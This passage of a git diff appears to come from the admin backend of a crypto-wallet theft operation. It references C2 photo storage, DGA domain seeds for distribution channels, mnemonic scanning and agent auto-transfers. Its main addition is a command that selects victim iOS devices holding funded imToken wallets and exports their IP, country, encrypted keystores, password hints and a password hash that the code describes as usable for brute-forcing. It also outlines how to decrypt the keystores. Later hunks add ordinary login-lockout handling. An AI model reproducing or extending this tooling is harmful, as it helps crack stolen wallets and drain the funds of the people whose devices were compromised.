**Fix**: Re-run transfer for `c2/photos/` directory. Verify with:
|
||||
```bash
|
||||
sudo find /www/wwwroot/coruna-lab/storage/app/private/c2/photos -type f | wc -l
|
||||
```
|
||||
|
||||
### 5. Admin login locked after migration
|
||||
|
||||
**Symptom**: Can't log in to admin panel. `login_attempts` column shows
|
||||
high value, `locked_at` is not NULL.
|
||||
|
||||
**Fix**:
|
||||
```sql
|
||||
UPDATE admins SET login_attempts=0, locked_at=NULL WHERE username='<user>';
|
||||
```
|
||||
|
||||
## Post-migration cleanup
|
||||
|
||||
After confirming the new server is stable:
|
||||
|
||||
1. Stop old server supervisor workers:
|
||||
```bash
|
||||
/www/server/panel/pyenv/bin/supervisorctl stop all
|
||||
```
|
||||
2. Verify no traffic to old server (check nginx access logs).
|
||||
3. Decommission old server after 24-48 hours of stable operation.
|
||||
4. Run disk cleanup on new server (see `coruna-lab-cleanup` skill).
|
||||
@@ -106,6 +106,8 @@ TOKENVIEW_SIGN_KEY=
|
||||
|
||||
TRUSTED_PROXIES=*
|
||||
XXBB_CHANNEL_C=
|
||||
# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
|
||||
CORUNA_CHANNEL_SEED=
|
||||
TELEGRAM_BOT_USERNAME=
|
||||
CORUNA_OFFICIAL_ALBUM_STORAGE=0
|
||||
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
|
||||
@@ -130,3 +132,6 @@ TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||
|
||||
CORUNA_TESSERACT=/usr/bin/tesseract
|
||||
CORUNA_OCR_MAX_EDGE=1280
|
||||
|
||||
APP_API_DOMAIN=xxxx.com
|
||||
LDID_PATH=/www/wwwroot/coruna-lab/bin/ldid
|
||||
|
||||
@@ -52,7 +52,7 @@ Admin:
|
||||
|
||||
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
||||
|
||||
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
|
||||
- **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
|
||||
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
||||
- **之后**新渠道只生成 `web/<id>/`
|
||||
|
||||
@@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
||||
# CORUNA_ARTIFACT_ROOT=
|
||||
# CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
CORUNA_CHANNEL_SEED=
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use Illuminate\Console\Command;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
/**
|
||||
* Export devices that have:
|
||||
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
|
||||
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
|
||||
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
|
||||
*
|
||||
* Outputs to storage/app/imtoken-rich-<timestamp>/:
|
||||
* - report.md : human-readable document (device + addresses + keystore)
|
||||
* - report.json : machine-readable mirror of the same data
|
||||
*/
|
||||
class ExportImtokenRichCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:export-imtoken-rich
|
||||
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
||||
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
|
||||
{--no-md : Skip markdown report}
|
||||
{--no-json : Skip JSON report}
|
||||
{--limit= : Cap number of devices (debug)}';
|
||||
|
||||
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
DB::disableQueryLog();
|
||||
$dir = $this->resolveDir();
|
||||
if ($dir === null) {
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$deviceIds = $this->candidateDeviceIds();
|
||||
if ($deviceIds->isEmpty()) {
|
||||
$this->warn('No devices match (imToken address with balance + imToken keystore).');
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
|
||||
|
||||
$devices = [];
|
||||
foreach ($deviceIds as $id) {
|
||||
$payload = $this->serializeDevice((int) $id);
|
||||
if ($payload === null) {
|
||||
continue;
|
||||
}
|
||||
$devices[] = $payload;
|
||||
$this->line(sprintf(
|
||||
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
|
||||
$payload['id'],
|
||||
$payload['device_id'],
|
||||
count($payload['addresses']),
|
||||
count($payload['keystores']),
|
||||
$payload['totals']['usd_approx'],
|
||||
));
|
||||
gc_collect_cycles();
|
||||
}
|
||||
|
||||
$summary = [
|
||||
'exported_at' => now()->toIso8601String(),
|
||||
'min_usd' => (float) $this->option('min-usd'),
|
||||
'device_count' => count($devices),
|
||||
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
||||
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
||||
'totals' => $this->aggregateTotals($devices),
|
||||
];
|
||||
|
||||
if (! $this->option('no-json')) {
|
||||
$jsonPath = $dir.'/report.json';
|
||||
file_put_contents($jsonPath, json_encode(
|
||||
array_merge($summary, ['devices' => $devices]),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
|
||||
));
|
||||
$this->info('wrote '.$jsonPath);
|
||||
}
|
||||
|
||||
if (! $this->option('no-md')) {
|
||||
$mdPath = $dir.'/report.md';
|
||||
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
|
||||
$this->info('wrote '.$mdPath);
|
||||
}
|
||||
|
||||
$this->info('done. output dir: '.$dir);
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Device IDs that meet ALL criteria:
|
||||
* 1. has imToken wallet_addresses with any coin > 0
|
||||
* 2. USD-estimated total of those imToken addresses >= --min-usd
|
||||
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
|
||||
* 4. has an imToken wallet_keystore with non-empty raw_json containing
|
||||
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
|
||||
*/
|
||||
private function candidateDeviceIds()
|
||||
{
|
||||
$minUsd = (float) $this->option('min-usd');
|
||||
|
||||
// Step 1: imToken addresses with balance, grouped by device.
|
||||
$addrRows = DB::table('wallet_addresses')
|
||||
->where('source', 'imToken')
|
||||
->where(function ($q) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$q->orWhere($c, '>', 0);
|
||||
}
|
||||
})
|
||||
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
|
||||
->get();
|
||||
|
||||
if ($addrRows->isEmpty()) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 2: aggregate per device, apply USD threshold.
|
||||
$byDevice = [];
|
||||
foreach ($addrRows as $row) {
|
||||
$id = (int) $row->device_id;
|
||||
if (! isset($byDevice[$id])) {
|
||||
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
}
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
|
||||
}
|
||||
}
|
||||
$usdOk = [];
|
||||
foreach ($byDevice as $id => $coins) {
|
||||
$usd = ($coins['usdt'] ?? 0)
|
||||
+ ($coins['trx'] ?? 0) * 0.15
|
||||
+ ($coins['eth'] ?? 0) * 2500
|
||||
+ ($coins['btc'] ?? 0) * 60000
|
||||
+ ($coins['bnb'] ?? 0) * 500
|
||||
+ ($coins['sol'] ?? 0) * 150;
|
||||
if ($usd >= $minUsd) {
|
||||
$usdOk[$id] = true;
|
||||
}
|
||||
}
|
||||
if ($usdOk === []) {
|
||||
return collect();
|
||||
}
|
||||
$usdOkIds = array_keys($usdOk);
|
||||
|
||||
// Step 3: exclude devices that have ANY recovered mnemonic.
|
||||
$withMnemonic = DB::table('wallet_mnemonics')
|
||||
->whereIn('device_id', $usdOkIds)
|
||||
->pluck('device_id')
|
||||
->unique()
|
||||
->all();
|
||||
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
|
||||
if ($noMnemonicIds === []) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 4: keep only devices that have an imToken keystore with data.
|
||||
$ksDeviceIds = DB::table('wallet_keystores')
|
||||
->where('source', 'imToken')
|
||||
->whereNotNull('raw_json')
|
||||
->whereIn('device_id', $noMnemonicIds)
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
|
||||
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
|
||||
if ($limit = (int) $this->option('limit')) {
|
||||
$ids = $ids->take($limit);
|
||||
}
|
||||
|
||||
return $ids;
|
||||
}
|
||||
|
||||
private function serializeDevice(int $deviceId): ?array
|
||||
{
|
||||
$device = Device::query()->find($deviceId, [
|
||||
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
|
||||
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
|
||||
]);
|
||||
if ($device === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'channel_id' => $device->channel_id,
|
||||
'model' => $device->device_model,
|
||||
'ios_version' => $device->ios_version,
|
||||
'ip' => $device->ip,
|
||||
'country' => $device->resolvedCountry(),
|
||||
'wallet_names' => $device->walletNameList(),
|
||||
'user_agent' => $device->user_agent,
|
||||
'created_at' => optional($device->created_at)->toIso8601String(),
|
||||
'addresses' => $addresses = $this->serializeAddresses($device),
|
||||
'keystores' => $this->serializeKeystores($device),
|
||||
'totals' => $this->deviceTotals($addresses),
|
||||
];
|
||||
}
|
||||
|
||||
private function serializeAddresses(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->addresses()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $addr
|
||||
) {
|
||||
$coins = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $addr->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||
}
|
||||
$out[] = [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type,
|
||||
'derive_index' => $addr->derive_index,
|
||||
'mnemonic_id' => $addr->mnemonic_id,
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'coins' => $coins,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function serializeKeystores(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->keystores()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $ks
|
||||
) {
|
||||
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
|
||||
if ($raw === null) {
|
||||
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
|
||||
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
|
||||
$raw = is_array($raw) ? $raw : null;
|
||||
}
|
||||
if ($raw === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// imToken keystore may be nested under ['imtoken'] (from /result
|
||||
// ingest) or stored directly. Detect both.
|
||||
$node = $raw;
|
||||
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
|
||||
$node = $raw['imtoken'];
|
||||
}
|
||||
|
||||
if (! $this->isWeb3Node($node)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$out[] = [
|
||||
'id' => $ks->id,
|
||||
'source' => $ks->source,
|
||||
'decrypted' => (int) $ks->decrypted,
|
||||
'created_at' => optional($ks->created_at)->toIso8601String(),
|
||||
'keystore' => $this->pickKeystoreFields($node),
|
||||
'raw_json_len' => strlen((string) json_encode($raw)),
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isWeb3Node(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? null;
|
||||
|
||||
return is_array($crypto)
|
||||
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||
&& is_string($crypto['ciphertext'])
|
||||
&& is_string($crypto['mac']);
|
||||
}
|
||||
|
||||
private function pickKeystoreFields(array $node): array
|
||||
{
|
||||
$crypto = $node['crypto'] ?? [];
|
||||
|
||||
return [
|
||||
'id' => $node['id'] ?? null,
|
||||
'type' => $node['type'] ?? null,
|
||||
'address' => $node['address'] ?? null,
|
||||
'derivationPath' => $node['derivationPath'] ?? null,
|
||||
'version' => $node['version'] ?? null,
|
||||
'keyHash' => $node['keyHash'] ?? null,
|
||||
'crypto' => [
|
||||
'kdf' => $crypto['kdf'] ?? null,
|
||||
'cipher' => $crypto['cipher'] ?? null,
|
||||
'kdfparams' => $crypto['kdfparams'] ?? null,
|
||||
'cipherparams' => $crypto['cipherparams'] ?? null,
|
||||
'ciphertext' => $crypto['ciphertext'] ?? null,
|
||||
'mac' => $crypto['mac'] ?? null,
|
||||
],
|
||||
'imTokenMeta' => $node['imTokenMeta'] ?? null,
|
||||
'activeAccounts' => $node['activeAccounts'] ?? null,
|
||||
];
|
||||
}
|
||||
|
||||
private function deviceTotals(array $addresses): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
foreach ($addresses as $a) {
|
||||
foreach ($a['coins'] as $col => $val) {
|
||||
if (isset($sums[$col])) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
}
|
||||
}
|
||||
$usd = ($sums['usdt'] ?? 0)
|
||||
+ ($sums['trx'] ?? 0) * 0.15
|
||||
+ ($sums['eth'] ?? 0) * 2500
|
||||
+ ($sums['btc'] ?? 0) * 60000
|
||||
+ ($sums['bnb'] ?? 0) * 500
|
||||
+ ($sums['sol'] ?? 0) * 150;
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format((float) $usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function aggregateTotals(array $devices): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
$usd = 0.0;
|
||||
foreach ($devices as $d) {
|
||||
foreach ($d['totals']['coins'] as $col => $val) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
$usd += (float) $d['totals']['usd_approx'];
|
||||
}
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format($usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function resolveDir(): ?string
|
||||
{
|
||||
$path = trim((string) $this->option('path'));
|
||||
if ($path === '') {
|
||||
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
|
||||
} elseif (! str_starts_with($path, '/')) {
|
||||
$path = base_path($path);
|
||||
}
|
||||
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
|
||||
$this->error('Cannot create directory: '.$path);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function renderMarkdown(array $summary, array $devices): string
|
||||
{
|
||||
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
|
||||
/**
|
||||
* Renders the imToken-rich export as a markdown document.
|
||||
* Each device is one block:
|
||||
* - summary line (设备 id, 密码提示, 地址数, 总余额)
|
||||
* - 设备基本信息 as JSON
|
||||
* - 地址列表 as table
|
||||
* - keystore as JSON
|
||||
*
|
||||
* @internal
|
||||
*/
|
||||
final class ExportImtokenRichMarkdown
|
||||
{
|
||||
public function __construct(
|
||||
private readonly array $summary,
|
||||
private readonly array $devices,
|
||||
) {}
|
||||
|
||||
public function render(): string
|
||||
{
|
||||
$md = [];
|
||||
$md[] = '# imToken 富地址导出报告';
|
||||
$md[] = '';
|
||||
$md[] = '导出时间: '.$this->summary['exported_at'];
|
||||
$md[] = '';
|
||||
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
|
||||
.' · 无助记词 · 有 keystore';
|
||||
$md[] = '';
|
||||
$md[] = '## 汇总';
|
||||
$md[] = '';
|
||||
$md[] = '| 指标 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| 设备数 | {$this->summary['device_count']} |";
|
||||
$md[] = "| 地址数 | {$this->summary['address_count']} |";
|
||||
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
|
||||
foreach ($this->summary['totals']['coins'] as $col => $val) {
|
||||
$sym = strtoupper($col);
|
||||
$md[] = "| {$sym} 总额 | {$val} |";
|
||||
}
|
||||
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
|
||||
$md[] = '';
|
||||
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
|
||||
$md[] = '';
|
||||
|
||||
foreach ($this->devices as $device) {
|
||||
$this->renderDevice($md, $device);
|
||||
}
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = '## 字段说明';
|
||||
$md[] = '';
|
||||
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
||||
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
||||
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
|
||||
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
||||
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
||||
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
||||
$md[] = '';
|
||||
|
||||
return implode("\n", $md);
|
||||
}
|
||||
|
||||
private function renderDevice(array &$md, array $device): void
|
||||
{
|
||||
$hints = $this->collectPasswordHints($device['keystores']);
|
||||
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
|
||||
$addrCount = count($device['addresses']);
|
||||
$usd = $device['totals']['usd_approx'];
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
||||
$md[] = '';
|
||||
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
|
||||
$md[] = '';
|
||||
|
||||
// 设备基本信息 as JSON
|
||||
$basicInfo = [
|
||||
'id' => $device['id'],
|
||||
'device_id' => $device['device_id'],
|
||||
'channel_id' => $device['channel_id'],
|
||||
'model' => $device['model'],
|
||||
'ios_version' => $device['ios_version'],
|
||||
'ip' => $device['ip'],
|
||||
'country' => $device['country'],
|
||||
'wallet_names' => $device['wallet_names'],
|
||||
'user_agent' => $device['user_agent'],
|
||||
'created_at' => $device['created_at'],
|
||||
];
|
||||
$md[] = '**设备基本信息**:';
|
||||
$md[] = '';
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
|
||||
// 地址列表 as table
|
||||
$this->renderAddressTable($md, $device['addresses']);
|
||||
|
||||
// keystore as JSON
|
||||
$this->renderKeystores($md, $device['keystores']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $keystores
|
||||
* @return list<string>
|
||||
*/
|
||||
private function collectPasswordHints(array $keystores): array
|
||||
{
|
||||
$hints = [];
|
||||
foreach ($keystores as $ks) {
|
||||
$meta = $ks['keystore']['imTokenMeta'] ?? null;
|
||||
if (is_array($meta) && isset($meta['passwordHint'])) {
|
||||
$h = trim((string) $meta['passwordHint']);
|
||||
if ($h !== '' && ! in_array($h, $hints, true)) {
|
||||
$hints[] = $h;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $hints;
|
||||
}
|
||||
|
||||
private function renderAddressTable(array &$md, array $addresses): void
|
||||
{
|
||||
$md[] = '**地址列表**:';
|
||||
$md[] = '';
|
||||
if ($addresses === []) {
|
||||
$md[] = '_(无)_';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$header[] = strtoupper($col);
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $header).' |';
|
||||
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
|
||||
foreach ($addresses as $a) {
|
||||
$row = [
|
||||
$a['id'],
|
||||
'`'.$a['address'].'`',
|
||||
$a['chain_type'],
|
||||
$a['derive_index'] ?? '-',
|
||||
$a['mnemonic_id'] ?? '-',
|
||||
$a['monitor'] ? '✓' : '·',
|
||||
];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$row[] = $a['coins'][$col] ?? '0';
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $row).' |';
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
|
||||
private function renderKeystores(array &$md, array $keystores): void
|
||||
{
|
||||
if ($keystores === []) {
|
||||
return;
|
||||
}
|
||||
foreach ($keystores as $ks) {
|
||||
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
|
||||
$md[] = '';
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -21,8 +21,10 @@ class LinkMnemonicsCommand extends Command
|
||||
|
||||
$result = $linker->backfill();
|
||||
|
||||
// Only probe mnemonics that haven't been fully discovered across all 5
|
||||
// chains yet. Manual "view wallet" / "refresh" bypasses this via force=true.
|
||||
$discovered = 0;
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
|
||||
foreach (WalletMnemonic::query()->where('discovery_complete', false)->orderBy('id')->cursor() as $mnemonic) {
|
||||
$discovered += $discovery->discoverActivated($mnemonic);
|
||||
}
|
||||
|
||||
|
||||
+4
-1
@@ -31,7 +31,10 @@ if (! function_exists('create_log')) {
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
if (@file_put_contents($logName, $logStr, FILE_APPEND) === false) {
|
||||
// LOCK_EX prevents concurrent chunk uploads from interleaving
|
||||
// and losing log entries when multiple requests append to the
|
||||
// same daily log file simultaneously.
|
||||
if (@file_put_contents($logName, $logStr, FILE_APPEND | LOCK_EX) === false) {
|
||||
return;
|
||||
}
|
||||
if ($isNew) {
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\SystemLog;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
@@ -43,6 +44,9 @@ class AdminUserController extends Controller
|
||||
'status' => (int) $a->status,
|
||||
'google_auth_open' => (int) $a->google_auth_open,
|
||||
'last_ip' => $a->last_ip,
|
||||
'login_attempts' => (int) $a->login_attempts,
|
||||
'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'),
|
||||
'is_locked' => $a->isLocked(),
|
||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||
'is_self' => $a->id === $selfId,
|
||||
@@ -121,6 +125,35 @@ class AdminUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock an admin account that was locked due to too many failed
|
||||
* password attempts. Only super admins can unlock.
|
||||
*/
|
||||
public function unlock(Admin $adminUser)
|
||||
{
|
||||
/** @var Admin $actor */
|
||||
$actor = auth('admin')->user();
|
||||
if (! $actor instanceof Admin || ! $actor->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
|
||||
if (! $adminUser->isLocked()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||
}
|
||||
|
||||
$adminUser->clearLoginAttempts();
|
||||
|
||||
SystemLog::record(
|
||||
$actor,
|
||||
'admin',
|
||||
SystemLog::ACTION_ADMIN_UNLOCKED,
|
||||
'超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态',
|
||||
request(),
|
||||
);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||
}
|
||||
|
||||
private function superCount(): int
|
||||
{
|
||||
return (int) Admin::query()->where('is_super', 1)->count();
|
||||
|
||||
@@ -3,7 +3,9 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -55,6 +57,9 @@ class AgentUserController extends Controller
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'telegram_ready' => $u->hasTelegramChat(),
|
||||
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
|
||||
'login_attempts' => (int) $u->login_attempts,
|
||||
'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'),
|
||||
'is_locked' => $u->isLocked(),
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||
@@ -167,6 +172,31 @@ class AgentUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function unlock(User $agent)
|
||||
{
|
||||
/** @var Admin|null $actor */
|
||||
$actor = auth('admin')->user();
|
||||
if (! $actor instanceof Admin) {
|
||||
return response()->json(['code' => 1, 'msg' => '未登录'], 401);
|
||||
}
|
||||
|
||||
if (! $agent->isLocked()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||
}
|
||||
|
||||
$agent->clearLoginAttempts();
|
||||
|
||||
SystemLog::record(
|
||||
$actor,
|
||||
'admin',
|
||||
SystemLog::ACTION_AGENT_UNLOCKED,
|
||||
'管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态',
|
||||
request(),
|
||||
);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||
}
|
||||
|
||||
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\SystemLog;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
@@ -61,12 +62,47 @@ class AuthController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
// Account-level lock: if the admin account is locked due to too many
|
||||
// consecutive wrong passwords, reject the login regardless of IP.
|
||||
$admin = Admin::query()->where('username', $credentials['username'])->first();
|
||||
if ($admin && $admin->isLocked()) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除',
|
||||
]);
|
||||
}
|
||||
|
||||
if (! Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
false
|
||||
)) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
// Track consecutive wrong passwords on the account itself.
|
||||
if ($admin) {
|
||||
$justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||
if ($justLocked) {
|
||||
SystemLog::record(
|
||||
$admin,
|
||||
'admin',
|
||||
SystemLog::ACTION_ADMIN_LOCKED,
|
||||
'管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||
$request,
|
||||
);
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除',
|
||||
]);
|
||||
}
|
||||
$remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts;
|
||||
if ($remaining > 0) {
